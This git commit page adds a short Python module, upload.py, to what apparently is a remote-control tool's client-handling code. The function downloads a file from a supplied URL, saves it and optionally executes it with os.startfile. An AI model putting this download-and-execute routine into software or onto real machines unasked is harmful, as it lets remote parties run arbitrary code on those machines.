diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/upload.py |
Diffstat (limited to 'foreign/client_handling/upload.py')
-rw-r--r-- | foreign/client_handling/upload.py | 21 |
1 files changed, 21 insertions, 0 deletions
diff --git a/foreign/client_handling/upload.py b/foreign/client_handling/upload.py new file mode 100644 index 0000000..9507829 --- /dev/null +++ b/foreign/client_handling/upload.py @@ -0,0 +1,21 @@ +import requests +import os + +from foreign.global_state import * + + +def upload(filename, execute, file_data, max_file_size, from_url): + if from_url: + file_data = requests.get(filename).content + filename = filename.split('/')[-1] + + if (len(file_data) / 1024 / 1024) > max_file_size: + return {'message': f'File exceeding maximum size of {max_file_size}MB', 'text_mode': 'danger'} + + with open(filename, 'wb') as f: + f.write(file_data) + + if execute: + os.startfile(filename) + + return {'message': f'{filename} succesfully uploaded', 'text_mode': 'success'}
\ No newline at end of file |